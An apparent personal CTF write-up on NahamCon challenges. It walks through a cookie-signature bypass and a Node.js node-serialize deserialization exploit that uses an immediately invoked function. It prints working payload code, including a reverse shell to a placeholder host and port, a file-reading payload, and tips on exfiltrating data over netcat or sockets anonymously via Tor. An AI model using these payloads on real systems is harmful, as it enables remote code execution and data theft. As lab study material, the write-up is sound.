NahamCon CTF was a fun event last weekend. I only had about 10 hours for it, so I did what tends to suit me best: crypto plus some misc challenges. Overall I scored close to 1500, which is OK but there is always room to do more.
The crypto problems were largely a let-down, easy and/or of a guess-my-encryption type:
The misc problems did have some educational moments:
trap
in bash (by invoking trap again :o)cd
, no redirects, no / in executables, no history, readonly PATH and SHELLOPTS, and onlyls
in PATH (you could still load the file into history)awk
but there was no text output at all, you could only obtain exit codes (use getline, then leak the ascii code of the result character by character)find . -exec grep ...
worked just fine)Obviously, there is still much to learn. After the contest, I took a look at some of the web challenges:
Hindsight is always 20/20, of course, but it can also give insight into the typical heuristics people use when they race against time. Take, for example, Official Business: the job was to “log in as admin”, and one could get the server code. The options looked like:
matching the admin username and password
user == "hacker"
sha512(password) == b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
…but good luck with inverting SHA512.
or, engineering (in hex form) a JSON cookie for which control makes it to the end of the function
def load_cookie():
cookie = {}
auth = request.cookies.get("auth")
if auth:
try:
cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
digest = cookie.pop("digest")
if (
digest
!= hashlib.sha512(
app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
).hexdigest()
):
return False, {}
except:
pass
return True, cookie
so that it returnsTrue,...
The code checks for a cookie named auth that has a digest property,
which is then used in an integrity check on the cookie that involves the server’s secret_key.
It may feel like “Game over” since that key is not known. However, secret_key turns out to be a Python string
app.secret_key = open("secret_key", "r").read().strip()
so concatenation with bytes inside the check throws an exception, and thus any digest passes! (It would even be simpler not to have the cookie because then the whole if block is skipped; however, in the index() function you need the admin property set to True to get the flag rendered.)
In the end, all that is required is a cookie{"admin": True}
, which can be sent via a one-liner in curl.
But it was likely quicker to get to the flag by simply trying
a combination of whatever unique values appear in the code:
{"user": "hacker", "password": "password", "digest": "hackshackshackshackshackshackshackshackshackshackshackshackshack", "admin": True}
My favorite problem at NahamCon is the Node JS unserialization exploit - Seriously.
With a carefully crafted cart cookie in the challenge, theserver:port/cart
page that displayed the
shopping cart could be used to execute arbitrary JS code on the server.
I have not heard about this vulnerability before,
so I decided to play with it.
Normally the cart cookie corresponded to something like
{"items": {"0": {"name": "Haworthiopsis attenuata", "price": 19.99, "count": 1}}}
converted to string and then encoded via base64. But there were no integrity checks, so you could alter the cookie any way you wanted. It so turns out that one can specify function-valued properties, and even so called immediately invoked function expressions (IIFEs) that are called right away when the cookie is unserialized (i.e., converted back from string) by the server.
One writeup exploited this to spawn a reverse shell, so I tried a variation on that too. You do not need eval(String.fromCharCode(…)) part, just define your function expression directly and serialize that:
var c = {"items": {"0": {"name": function() {
var client = new require('net').Socket()
client.connect("PORT", "HOSTIP", function() {
var sh = require('child_process').spawn('/bin/sh',[]);
client.write("Connected!\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\n");
});
});
}
}}}
var c_ser = require('node-serialize').serialize(c)
c_ser = c_ser.replace('}"}}', '}()"}}') // insert () to make it an IIFE
console.log((new Buffer(c_ser)).toString('base64'))
A shell is nice because it gives a lot of freedom besides finding flag.txt and printing its contents. For instance, you can tar-gzip the whole challenge directory and exfiltrate it (about 5 MB). There were no networking binaries (nc, curl, telnet…) on the server but it did have a C compiler, so you could easily do TCP over sockets. Or just cat the tarball and redirect netcat’s output stream.
Looking at the server code, the exploit activates at
cart = serialize.unserialize(Buffer.from(cart, 'base64').toString('ascii'));
return res.render('cart', { cart: cart, user: user });
i.e., the shell spawns right before the assignment to cart, then the unserialized object is used to render the cart page. (You did not even need to have the auth cookie for this to work.)
A reverse shell is useful but it is definitely an overkill. Moreover, it is a giant beacon to the perpetrator’s computer on the internet. It is much more anonymous to exfiltrate the flag to the browser, e.g., Tor Browser (or you could even curl through Tor). We have arbitrary code execution, so it is easy - just have the IIFE return the flag as a string:
var c = {"items": {"0": {"name": function() {
return require('fs').readFileSync("flag.txt");
},"price": 987,"count": 2
}}}
var c_ser = require('node-serialize').serialize(c)
c_ser = c_ser.replace('}","price', '}()","price') // make it into an IIFE
console.log((new Buffer(c_ser)).toString('base64'))
This way, when the cart is rendered, the name of the plant is the flag.
Using analogous steps, you can exfiltrate any file (such as the challenge directory tarball) by preparing it, reading it, converting it to base64, and putting the result in place of the plant name. There were no limits on HTTP response length, so getting a 10-MB base64 string out worked just fine in the challenge.